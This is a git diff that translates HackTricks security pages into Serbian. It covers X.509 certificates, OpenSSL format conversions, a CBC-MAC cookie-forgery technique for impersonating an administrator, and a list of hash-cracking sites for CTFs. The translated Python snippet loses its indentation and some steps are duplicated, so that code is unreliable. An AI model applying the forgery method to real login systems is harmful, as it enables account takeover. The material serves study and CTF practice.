što su: +- **Uobičajeno ime (CN)**: Domeni obuhvaćeni sertifikatom. +- **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S ili P)**, **Organizacija (O)** i **Organizaciona jedinica (OU)** pružaju geografske i organizacione detalje. +- **Distinguished Name (DN)** sadrži punu identifikaciju subjekta. +- **Izdavalac** detalji o tome ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao i Subjekat za CA. +- **Period važenja** obeležen je vremenskim oznakama **Not Before** i **Not After**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma. +- Odeljak **Javni ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa. +- **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu ključa**, **Proširenu upotrebu ključa**, **Alternativno ime subjekta** i druge osobine radi fino podešavanja primene sertifikata. -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Upotreba ključa i ekstenzije** +- **Upotreba ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem. +- **Proširena upotreba ključa** dodatno sužava upotrebu sertifikata, na primer, za autentifikaciju TLS servera. +- **Alternativno ime subjekta** i **Osnovno ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta. +- Identifikatori poput **Identifikatora ključa subjekta** i **Identifikatora ključa izdavaoca** obezbeđuju jedinstvenost i mogućnost praćenja ključeva. +- **Pristup informacijama o autoritetu** i **Tačke distribucije CRL** obezbeđuju putanje za verifikaciju izdavača CA i proveru statusa povlačenja sertifikata. +- **CT Precertificate SCTs** nude transparentne logove, ključne za javno poverenje u sertifikat. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -61,8 +60,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -75,139 +74,178 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Razlika između OCSP i CRL Distribution Points** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) uključuje saradnju između klijenta i odgovorača kako bi se proverilo da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem celog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu serijskih brojeva povučenih sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja možete pronaći [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Šta je Certificate Transparency** -### **What is Certificate Transparency** +Certificate Transparency pomaže u borbi protiv pretnji vezanih za sertifikate tako što osigurava da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njegovi ciljevi su: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: - -* Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -* Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -* Safeguarding users against fraudulent certificates. +* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena. +* Uspostavljanje otvorenog sistema za reviziju za praćenje greškom ili zlonamerno izdatih sertifikata. +* Zaštita korisnika od lažnih sertifikata. #### **Certificate Logs** -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +Certificate logs su javno proverljivi, samo-dodatni zapisi o sertifikatima, koje održavaju mrežne usluge. Ovi zapisi pružaju kriptografske dokaze u svrhu revizije. Izdavatelji sertifikata i javnost mogu podneti sertifikate ovim logovima ili ih pretraživati radi verifikacije. Iako tačan broj log servera nije fiksan, očekuje se da ih ima manje od hiljadu širom sveta. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete. -#### **Query** +#### **Pretraga** -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Za istraživanje Certificate Transparency logova za bilo koji domen, posetite [https://crt.sh/](https://crt.sh). -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +Postoje različiti formati za skladištenje sertifikata, pri čemu svaki ima svoje upotrebe i kompatibilnost. Ovaj sažetak obuhvata glavne formate i pruža smernice za konverziju između njih. -## **Formats** +## **Formati** ### **PEM Format** -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +- Najčešće korišćen format za sertifikate. +- Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII. +- Uobičajene ekstenzije: .cer, .crt, .pem, .key. +- Pretežno se koristi za Apache i slične servere. ### **DER Format** -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +- Binarni format sertifikata. +- Ne sadrži "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama. +- Uobičajene ekstenzije: .cer, .der. +- Često se koristi sa Java platformama. ### **P7B/PKCS#7 Format** -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +- Smešten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c. +- Sadrži samo sertifikate i lančane sertifikate, bez privatnog ključa. +- Podržan od strane Microsoft Windows-a i Java Tomcat-a. ### **PFX/P12/PKCS#12 Format** -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +- Binarni format koji u jednoj datoteci sadrži serverske sertifikate, međusertifikate i privatne ključeve. +- Ekstenzije: .pfx, .p12. +- Pretežno se koristi na Windows-u za uvoz i izvoz sertifikata. -### **Converting Formats** +### **Konverzija formata** -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM konverzije** su neophodne radi kompatibilnosti: +- **x509 u PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` +- **PEM u DER** +Da biste konvertovali PEM format u DER format, možete koristiti OpenSSL komandu: -- **PEM to DER** +```plaintext +openssl x509 -outform der -in certificate.pem -out certificate.der +``` + +Gde `certificate.pem` predstavlja putanju do PEM sertifikata koji želite da konvertujete, a `certificate.der` predstavlja putanju do izlaznog DER sertifikata. + +Ova komanda će konvertovati sertifikat iz PEM formata u DER format. ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` +- **DER u PEM** +Da biste konvertirali DER format u PEM format, možete koristiti OpenSSL alat. Koristite sljedeću naredbu: -- **DER to PEM** +```plaintext +openssl x509 -inform der -in certificate.der -out certificate.pem +``` + +Ova naredba će konvertirati certifikat iz DER formata (certificate.der) u PEM format (certificate.pem). ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` +- **PEM u P7B** -- **PEM to P7B** +Da biste konvertovali PEM format sertifikata u P7B format, možete koristiti OpenSSL alat. Sledeća komanda će vam pomoći da izvršite konverziju: + +```plaintext +openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b +``` + +Gde `certificate.pem` predstavlja putanju do vašeg PEM sertifikata, a `certificate.p7b` je ime izlaznog P7B fajla. Nakon izvršavanja ove komande, dobićete P7B format sertifikata. ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` +- **PKCS7 u PEM** +PKCS7 format je standardni format za enkodiranje i potpisivanje digitalnih sertifikata. PEM format, sa druge strane, je često korišćen format za čuvanje i razmenu kriptografskih ključeva i sertifikata. Da biste konvertovali PKCS7 format u PEM format, možete koristiti sledeću komandu: -- **PKCS7 to PEM** +```plaintext +openssl pkcs7 -print_certs -in input.p7b -out output.pem +``` + +Ova komanda će izvršiti konverziju PKCS7 datoteke `input.p7b` u PEM format i sačuvati rezultat u datoteku `output.pem`. ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu: - -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** +- **PFX u PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX u PKCS#8** uključuje dva koraka: +1. Konvertuj PFX u PEM format. ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` +2. Konvertuj PEM u PKCS8 - 2. Convert PEM to PKCS8 +Da biste konvertovali PEM format u PKCS8 format, možete koristiti OpenSSL komandu `pkcs8`. Evo kako to možete uraditi: + +```plaintext +openssl pkcs8 -topk8 -inform PEM -outform PEM -in private_key.pem -out private_key_pkcs8.pem +``` + +Ova komanda će konvertovati privatni ključ u PEM formatu (`private_key.pem`) u PKCS8 format i sačuvati ga kao `private_key_pkcs8.pem`. ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER +- **P7B u PFX** takođe zahteva dve komande: +1. Konvertuj P7B u CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` +2. Konvertujte CER i privatni ključ u PFX format - 2. Convert CER and Private Key to PFX +Da biste konvertovali CER i privatni ključ u PFX format, možete koristiti alat kao što je OpenSSL. Evo kako to možete uraditi: + +1. Prvo, otvorite terminal i unesite sledeću komandu: + + ``` + openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer + ``` + + Ova komanda će kreirati PFX fajl sa nazivom "certificate.pfx" koristeći privatni ključ "private.key" i CER fajl "certificate.cer". + +2. Kada pokrenete komandu, bićete upitani da unesete lozinku za PFX fajl. Unesite željenu lozinku i pritisnite Enter. + +3. Nakon što unesete lozinku, OpenSSL će generisati PFX fajl koji sadrži CER i privatni ključ. + +Sada imate PFX fajl koji možete koristiti za razne svrhe, kao što je instalacija SSL sertifikata na serveru. ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - ***
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index bbe30b004..c5ef09a65 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -1,85 +1,81 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Ako je **kolačić** samo **korisničko ime** (ili prvi deo kolačića je korisničko ime) i želite da se predstavite kao korisničko ime "**admin**". Tada možete kreirati korisničko ime **"bdmin"** i **bruteforce**-ovati **prvi bajt** kolačića. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Cipher block chaining message authentication code** (**CBC-MAC**) je metoda koja se koristi u kriptografiji. Radi tako što uzima poruku i enkriptuje je blok po blok, pri čemu je enkripcija svakog bloka povezana sa prethodnim. Ovaj proces stvara **lanac blokova**, osiguravajući da čak i promena jednog jedinog bita originalne poruke dovede do nepredvidive promene poslednjeg bloka enkriptovanih podataka. Da bi se izvršila ili poništila takva promena, potreban je ključ za enkripciju, što osigurava bezbednost. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Da bi se izračunao CBC-MAC poruke m, poruka m se enkriptuje u CBC režimu sa nulom kao inicijalizacionim vektorom i čuva se poslednji blok. Sledeća slika prikazuje izračunavanje CBC-MAC poruke koja se sastoji od blokova![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) koristeći tajni ključ k i blok šifre E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) -# Vulnerability +# Ranjivost -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Sa CBC-MAC-om, obično se koristi **IV vrednost 0**.\ +Ovo je problem jer dve poznate poruke (`m1` i `m2`) nezavisno generišu dva potpisa (`s1` i `s2`). Dakle: * `E(m1 XOR 0) = s1` * `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Zatim, poruka koja se sastoji od konkatenacije m1 i m2 (m3) generiše dva potpisa (s31 i s32): * `E(m1 XOR 0) = s31 = s1` * `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Što je moguće izračunati bez poznavanja ključa enkripcije.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Zamislite da šifrujete ime **Administrator** u blokovima od **8 bajtova**: * `Administ` * `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Možete kreirati korisničko ime koje se zove **Administ** (m1) i dobiti potpis (s1).\ +Zatim, možete kreirati korisničko ime koje se zove rezultat `rator\00\00\00 XOR s1`. Ovo će generisati `E(m2 XOR s1 XOR 0)` koji je s32.\ +Sada možete koristiti s32 kao potpis za puno ime **Administrator**. -### Summary +### Rezime -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Dobijte potpis korisničkog imena **Administ** (m1) koji je s1 +2. Dobijte potpis korisničkog imena **rator\x00\x00\x00 XOR s1 XOR 0** koji je s32**.** +3. Postavite kolačić na s32 i to će biti validan kolačić za korisnika **Administrator**. -# Attack Controlling IV +# Kontrolisanje napada IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Ako možete kontrolisati korišćeni IV, napad može biti veoma jednostavan.\ +Ako su kolačići samo šifrovano korisničko ime, da biste se predstavili kao korisnik "**administrator**" možete kreirati korisnika "**Administrator**" i dobiti njegov kolačić.\ +Sada, ako možete kontrolisati IV, možete promeniti prvi bajt IV-a tako da **IV\[0] XOR "A" == IV'\[0] XOR "a"** i ponovo generisati kolačić za korisnika **Administrator**. Ovaj kolačić će biti validan za **predstavljanje** korisnika **administrator** sa početnim **IV**. -## References +## Reference -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Više informacija na [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md index 080613c70..dc5149f56 100644 --- a/cryptography/crypto-ctfs-tricks.md +++ b/cryptography/crypto-ctfs-tricks.md @@ -1,22 +1,22 @@ -# Crypto CTFs Tricks +# Trikovi za Crypto CTF-ove
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Online Hashes DBs +## Online baze heševa -* _**Google it**_ +* _**Pretražite na Google-u**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) * [https://crackstation.net/](https://crackstation.net) @@ -28,124 +28,117 @@ Other ways to support HackTricks: * [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +## Čarobni automatski rešavači * [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modul) * [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) * [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## Enkoderi -Most of encoded data can be decoded with these 2 ressources: +Većina enkodiranih podataka može se dekodirati pomoću ovih 2 resursa: * [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) * [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### Automatski rešavači za zamenu * [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -* [https://quipqiup.com/](https://quipqiup.com) - Very good ! +* [https://quipqiup.com/](https://quipqiup.com) - Veoma dobro! -#### Caesar - ROTx Autosolvers +#### Cezar - ROTx automatski rešavači * [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### Atbash šifra * [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### Automatski rešavači za osnovne enkodiranje -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Proverite sve ove baze sa: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) * **Ascii85** - * `BQ%]q@psCd@rH0l` +* `BQ%]q@psCd@rH0l` * **Base26** \[_A-Z_] - * `BQEKGAHRJKHQMVZGKUXNT` +* `BQEKGAHRJKHQMVZGKUXNT` * **Base32** \[_A-Z2-7=_] - * `NBXWYYLDMFZGCY3PNRQQ====` +* `NBXWYYLDMFZGCY3PNRQQ====` * **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - * `pbzsaamdcf3gna5xptoo====` +* `pbzsaamdcf3gna5xptoo====` * **Base32 Geohash** \[_0-9b-hjkmnp-z_] - * `e1rqssc3d5t62svgejhh====` +* `e1rqssc3d5t62svgejhh====` * **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - * `D1QPRRB3C5S62RVFDHGG====` +* `D1QPRRB3C5S62RVFDHGG====` * **Base32 Extended Hexadecimal** \[_0-9A-V_] - * `D1NMOOB3C5P62ORFDHGG====` +* `D1NMOOB3C5P62ORFDHGG====` * **Base45** \[_0-9A-Z $%\*+-./:_] - * `59DPVDGPCVKEUPCPVD` +* `59DPVDGPCVKEUPCPVD` * **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - * `2yJiRg5BF9gmsU6AC` +* `2yJiRg5BF9gmsU6AC` * **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - * `2YiHqF5bf9FLSt6ac` +* `2YiHqF5bf9FLSt6ac` * **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - * `pyJ5RgnBE9gm17awU` +* `pyJ5RgnBE9gm17awU` * **Base62** \[_0-9A-Za-z_] - * `g2AextRZpBKRBzQ9` +* `g2AextRZpBKRBzQ9` * **Base64** \[_A-Za-z0-9+/=_] - * `aG9sYWNhcmFjb2xh` +* `aG9sYWNhcmFjb2xh` * **Base67** \[_A-Za-z0-9-_.!\~\_] - * `NI9JKX0cSUdqhr!p` +* `NI9JKX0cSUdqhr!p` * **Base85 (Ascii85)** 